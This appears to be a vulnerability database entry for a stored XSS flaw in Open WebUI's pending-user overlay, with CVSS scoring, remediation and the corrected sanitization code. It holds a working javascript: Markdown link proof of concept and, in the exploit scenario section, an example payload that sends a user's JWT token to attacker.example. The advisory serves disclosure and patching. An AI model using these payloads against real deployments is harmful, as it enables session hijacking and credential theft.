Skip to main content

Open WebUI EUVDEUVD-2026-30610

| CVE-2026-44568 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 https://github.com/open-webui/open-webui GHSA-fq3v-xjjx-95rc
4.8
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain or compromise admin credentials
  2. Delivery
    Access Admin Settings General in Open WebUI
  3. Exploit
    Inject javascript: URI via Pending User Overlay Content field
  4. Install
    Pending user authenticates and overlay renders
  5. C2
    Pending user clicks attacker-crafted Markdown link
  6. Execute
    Arbitrary JavaScript executes in pending user's browser context
  7. Impact
    Session tokens or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated admin account with access to Admin Settings → General and specifically the ability to write to the 'Pending User Overlay Content' configuration field - this is not exploitable by non-admin users (PR:H in CVSS). The 'Default User Role' must be set to 'pending', or existing users must already hold the pending role, so that the AccountPending overlay is actually rendered for target users. Finally, a pending user must actively click the attacker-crafted Markdown link within the overlay (UI:R) - passive viewing of the overlay page does not execute the payload, as the javascript: URI only fires on a click event. Exploitation is further limited to the pending-role user population only; users with active, admin, or other roles never see the overlay and are unaffected. Non-default configuration of pending user roles is therefore a meaningful limiting factor in assessing realistic exposure.

Impact

The vendor-assigned CVSS 3.1 score of 4.8 (Medium) with vector AV:N/AC:L/PR:H/UI:R/S:C is well-calibrated to the actual attack surface. PR:H correctly reflects the admin-level prerequisite, and UI:R captures the need for a pending user to click the crafted link - passive overlay display alone does not execute the payload. The S:C (scope change) metric is the most significant signal: the vulnerability crosses a privilege boundary from admin-controlled configuration into the browser security context of pending users who have not yet been granted platform access. EPSS at 0.03% (8th percentile) and SSVC 'Automatable: no' both confirm this is not a spray-and-pray target; exploitation is deliberate and requires a malicious or compromised admin. SSVC 'Technical Impact: partial' aligns with CVSS C:L/I:L/A:N - session hijacking and credential phishing are realistic but not a full system compromise. The absence of a CISA KEV listing and low EPSS suggest opportunistic exploitation is unlikely; risk is highest in multi-tenant or multi-admin Open WebUI deployments where admin account segregation is weak or where a compromised admin account could be leveraged to attack a pool of pending users.

Exploit ScenarioDerived

A malicious or compromised admin logs into Open WebUI, navigates to Admin Settings → General, sets Default User Role to 'pending', and enters Markdown such as [Contact Support](javascript:fetch('https://attacker.example/exfil?t='+localStorage.getItem('token'))) into the Pending User Overlay Content field. When a newly registered user with pending status logs in, the overlay renders the crafted link; upon clicking it, their JWT token is silently exfiltrated to the attacker's server. A proof-of-concept demonstrating alert-based XSS execution via this exact vector is confirmed per SSVC exploitation status.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Stored XSS in Open WebUI's AccountPending.svelte allows an authenticated admin to inject arbitrary JavaScript into the pending user overlay content, which executes in the browser session of any user holding the 'pending' role. The flaw stems from invoking DOMPurify before rather than after marked.parse(), permitting Markdown link syntax with javascript: URIs to survive sanitization and render as executable HTML via Svelte's {@html} directive. No CISA KEV listing exists, but a proof-of-concept is confirmed by SSVC data; EPSS is low at 0.03% (8th percentile), consistent with the high-privilege prerequisite limiting mass exploitation.

RemediationAI

Upgrade to Open WebUI 0.9.0 or later, which corrects the DOMPurify ordering in AccountPending.svelte by wrapping DOMPurify.sanitize() around the output of marked.parse() rather than its input - matching the safe pattern already used in NotebookView.svelte:77. The vendor advisory with full details is at https://github.com/open-webui/open-webui/security/advisories/GHSA-fq3v-xjjx-95rc. For deployments unable to upgrade immediately, two compensating controls can reduce exposure: first, restrict write access to the 'Pending User Overlay Content' admin setting to only the most trusted administrator accounts, eliminating the opportunity for a compromised admin to plant the payload; second, disable the 'Default User Role: pending' setting if pending-user workflows are not operationally required, which prevents the vulnerable overlay from rendering entirely. Neither workaround eliminates the underlying code defect - they only remove preconditions for exploitation - and both should be treated as temporary mitigations pending upgrade.

Affected VersionsENISA

open-webui < 0.9.0

Affected Packages

pypi open-webui fix: 0.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a Svelte-based frontend (pip package open-webui, CPE: pkg:pip/open-webui) for managing local AI models. The vulnerable component is src/lib/components/layout/Overlay/AccountPending.svelte (lines 43-48), which renders admin-configured Markdown overlay content using a two-step pipeline: DOMPurify.sanitize() followed by marked.parse(), with the output injected via Svelte's raw {@html} directive. The critical error is ordering: DOMPurify receives the raw Markdown string before it has been converted to HTML. Because the Markdown source contains no HTML tags, DOMPurify passes it through unchanged. marked.parse() then converts Markdown link syntax - e.g. [text](javascript:alert()) - into <a href='javascript:...'> anchor elements, which are rendered unsanitized into the DOM. The correct pattern, applied in NotebookView.svelte:77 elsewhere in the same codebase, wraps DOMPurify.sanitize() around the output of marked.parse(). CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this sanitization bypass - a defense-in-depth control exists but is applied at the wrong pipeline stage, rendering it ineffective.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.8 MEDIUM

Admin write access to overlay config requires PR:H; pending user must click link (UI:R); XSS crosses user boundary yielding S:C with partial C/I and no availability impact.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Vulnerability Details

CWE-79: Cross-site Scripting (XSS)

The AccountPending.svelte component renders the admin-configured "Pending User Overlay Content" using marked.parse() inside {@html} with an incorrect DOMPurify application order:

Vulnerable Code

src/lib/components/layout/Overlay/AccountPending.svelte (lines 43-48):

svelte
{@html marked.parse(
    DOMPurify.sanitize(
        ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>')
    )
)}

DOMPurify is applied to the raw Markdown input before marked.parse() processes it. This is the wrong order. DOMPurify sanitizes the Markdown text (which contains no HTML tags), then marked.parse() converts Markdown link syntax into HTML <a> tags with javascript: href, and the result is rendered with {@html} unsanitized.

The correct pattern (used elsewhere in the codebase, e.g., NotebookView.svelte:77) is:

javascript
DOMPurify.sanitize(marked.parse(src))  // sanitize AFTER markdown parsing

Steps to Reproduce

Prerequisites

  • Open WebUI v0.8.10
  • Admin account
  • A second user account with "pending" role

Steps

  1. Log in as admin and navigate to Admin Settings → Settings → General.
  2. Set Default User Role to pending.
  3. In the Pending User Overlay Content field, enter:
# Account Pending

Your account is under review.

[Contact Support](javascript:alert(document.domain))
  1. Save the settings.
  2. In a separate browser (or incognito window), create a new account or log in as a pending user.
  3. The pending overlay is displayed. Click the "Contact Support" link.
  4. A JavaScript alert dialog appears showing localhost (the document domain), confirming XSS execution.

Verified Output

The alert(document.domain) executes successfully, displaying "localhost" in a JavaScript dialog box.

Impact

An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This could be used to:

  • Session hijacking: Steal pending users' JWT tokens from cookies/localStorage
  • Credential theft: Replace the pending overlay with a fake login form
  • Phishing: Redirect pending users to malicious sites

While this requires admin privileges to set the overlay content, it enables an admin to attack pending users (who have not yet been granted full access). In multi-admin deployments, a compromised admin account could use this to escalate attacks.

Proposed Fix

Apply DOMPurify after marked.parse(), not before:

svelte
<!-- Before (vulnerable): -->
{@html marked.parse(
    DOMPurify.sanitize(
        ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>')
    )
)}

<!-- After (fixed): -->
{@html DOMPurify.sanitize(
    marked.parse(
        ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>'),
        { async: false }
    )
)}

<img width="1510" height="1093" alt="2026-03-23_03-07" src="https://github.com/user-attachments/assets/bcc94dd6-4f06-472b-9979-9759458c76b3" />

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Medium
growing open-source AI model UI, increasingly self-hosted by enterprises
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy